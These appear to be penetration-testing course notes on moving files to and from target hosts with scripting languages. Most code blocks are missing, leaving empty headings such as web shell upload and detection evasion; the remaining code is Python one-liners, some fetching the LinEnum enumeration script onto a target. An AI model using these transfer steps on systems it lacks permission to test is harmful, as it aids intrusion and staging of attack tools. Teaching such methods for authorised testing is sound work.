⚑Code File Transfer Methods

Introduction

It's common to find different programming languages installed on the machines we are targeting. Programming languages such as Python, PHP, Perl, and Ruby are commonly available in Linux distributions but can also be installed on Windows, although this is far less common.

We can use some Windows default applications, such as cscript and mshta, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.

According to Wikipedia, there are around 700 programming languages, and we can create code in any programming language to download, upload or execute instructions to the OS. This section provides examples using common programming languages.

Python

Python is a popular programming language. Currently, version 3 is supported, but we may find servers where Python version 2.7 still exists. Python can run one-liners from an operating system command line using the option -c.

Python Downloads

Python 2 - Download:

python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Download:

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Alternative Python 3 Methods:

# Using requests library
python3 -c 'import requests; r=requests.get("https://example.com/file.txt"); open("file.txt","wb").write(r.content)'

# Using urllib with custom headers
python3 -c 'import urllib.request; req=urllib.request.Request("https://example.com/file.txt", headers={"User-Agent": "Mozilla/5.0"}); urllib.request.urlretrieve(req, "file.txt")'

Python Uploads

Upload a File Using Python One-liner:

Multi-line Python Upload Example:

Upload with Authentication:

PHP

PHP is also very prevalent and provides multiple file transfer methods. According to W3Techs' data, PHP is used by 77.4% of all websites with a known server-side programming language.

PHP Downloads

PHP Download with file_get_contents():

PHP Download with fopen():

PHP Download and Pipe to Bash:

⚠️ Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

PHP Alternative Methods

Using cURL in PHP:

PHP Web Shell Upload:

Ruby

Ruby is another popular language that supports running one-liners from an operating system command line using the option -e.

Ruby - Download a File:

Ruby - Download with SSL:

Ruby - Upload File:

Perl

Perl is widely available on many Linux systems and supports file transfer operations.

Perl - Download a File:

Perl - Alternative Download Method:

Perl - Upload File:

JavaScript (Windows)

JavaScript can be used on Windows systems through Windows Script Host (WSH).

Create wget.js file:

Download a File Using JavaScript and cscript.exe:

Alternative JavaScript Method (using MSXML2):

VBScript (Windows)

VBScript ("Microsoft Visual Basic Scripting Edition") is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.

Create wget.vbs file:

Download a File Using VBScript and cscript.exe:

VBScript Upload Example:

Node.js

If Node.js is available, it provides powerful file transfer capabilities.

Node.js Download:

Node.js Upload:

Go

Go might be available on some systems, especially in containerized environments.

Go Download One-liner:

Advanced Techniques

Bypassing Restrictions

Custom User Agents:

Using Proxies:

Error Handling

Python with Error Handling:

PHP with Error Handling:

Upload Server Setup

Starting the Python uploadserver Module:

PHP Upload Server:

Security Considerations

Secure Downloads

Verify SSL Certificates:

Check File Integrity:

Sanitize Uploads

Validate File Types:

Practical Examples

Multi-Language Download Script

Bash Script with Fallback Methods:

Detection Evasion

Randomized User Agents:

Key Takeaways

  1. Multiple languages available - Most systems have at least one scripting language installed

  2. One-liners are powerful - Quick execution without creating files on disk

  3. Cross-platform compatibility - Python and other languages work on multiple OS

  4. Windows-specific options - JavaScript and VBScript through cscript.exe

  5. Error handling important - Always implement proper error checking

  6. Security considerations - Validate certificates, check file integrity

  7. Fallback methods - Use multiple languages as backup options

  8. Steganography potential - Code can be hidden in legitimate scripts

References

Last updated